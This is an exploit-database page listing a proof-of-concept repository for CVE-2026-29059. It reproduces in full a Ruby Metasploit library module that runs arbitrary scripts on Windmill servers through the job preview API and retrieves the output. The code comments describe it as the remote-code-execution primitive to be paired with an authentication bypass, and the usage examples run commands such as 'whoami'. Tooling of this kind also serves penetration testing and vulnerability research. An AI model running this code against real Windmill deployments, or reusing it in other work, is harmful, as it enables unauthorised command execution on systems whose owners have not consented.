Exploit database

GH-c7cf321e13276053c7635bf3422ec0a3

chocapikk/windfall

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-29059

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files9

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

metasploit/lib/msf/core/exploit/remote/http/windmill/jobs.rb

Ruby · 4,264 bytes
# -*- coding: binary -*-
# frozen_string_literal: true

module Msf
  class Exploit
    class Remote
      module HTTP
        module Windmill
          #
          # Job execution methods for Windmill
          #
          # Uses the job preview API to run scripts in various languages.
          # This is a legitimate Windmill feature - not an exploit - but provides
          # the RCE primitive when combined with authentication bypass techniques.
          #
          # == Supported Languages
          #
          # Windmill supports the following script languages:
          #   bash, python3, deno, bun, bunnative, nativets, go, powershell,
          #   postgresql, mysql, bigquery, snowflake, mssql, graphql, oracledb,
          #   duckdb, php, rust, ansible, csharp, nu, java, ruby
          #
          # @see https://github.com/windmill-labs/windmill/blob/f0fd1c5e1a0589fd6d2d229c27aa74010ff01c0c/backend/windmill-common/src/scripts.rs#L52-L78
          #
          # @author Valentin Lobstein (Chocapikk)
          #
          module Jobs
            include Msf::Exploit::Remote::HTTP::Windmill::Constants

            #
            # Submit a job to Windmill via job preview API
            #
            # Requires authentication with sufficient privileges to execute jobs.
            # The job runs asynchronously; use {#windmill_get_job_result} to
            # retrieve the output.
            #
            # @param content [String] Script content to execute
            # @param language [String] Script language (default: 'bash')
            # @return [String, nil] Job ID (UUID) or nil on failure
            #
            # @example Run a bash command
            #   job_id = windmill_run_job('id && hostname', language: 'bash')
            #
            # @example Run a Python script
            #   job_id = windmill_run_job('print("Hello")', language: 'python3')
            #
            def windmill_run_job(content, language: 'bash')
              return unless windmill_get_workspace && windmill_token

              res = windmill_post(
                windmill_api_path(API_JOBS_RUN_PREVIEW, workspace: windmill_workspace),
                'ctype' => 'application/json',
                'data' => { content: content, language: language }.to_json
              )

              return unless res&.code&.between?(200, 201)

              job_id = res.body.strip.delete('"')
              job_id unless job_id.empty? || job_id.length < 10
            end

            #
            # Get job result by polling until completion or timeout
            #
            # Polls the job result endpoint repeatedly until the job completes
            # or the maximum number of attempts is reached.
            #
            # @param job_id [String] Job ID returned by {#windmill_run_job}
            # @param attempts [Integer] Maximum number of poll attempts (default: POLL_ATTEMPTS)
            # @param delay [Integer] Delay in seconds between attempts (default: POLL_DELAY)
            # @return [String, nil] Job output as string, or nil if job failed/timed out
            #
            # @example Get command output
            #   job_id = windmill_run_job('whoami')
            #   result = windmill_get_job_result(job_id)
            #   print_good("User: #{result}") if result
            #
            # @example Custom timeout
            #   result = windmill_get_job_result(job_id, attempts: 30, delay: 2)
            #
            def windmill_get_job_result(job_id, attempts: POLL_ATTEMPTS, delay: POLL_DELAY)
              attempts.times do
                Rex.sleep(delay)

                res = windmill_get(windmill_api_path(API_JOBS_GET_RESULT, workspace: windmill_workspace,
                                                                          job_id: job_id))
                next unless res&.code == 200

                text = res.body.strip
                next if text.empty? || text == 'null'

                # JSON-quoted strings need parsing, raw output returned as-is
                return text.start_with?('"') ? JSON.parse(text) : text
              end

              nil
            rescue StandardError
              nil
            end
          end
        end
      end
    end
  end
end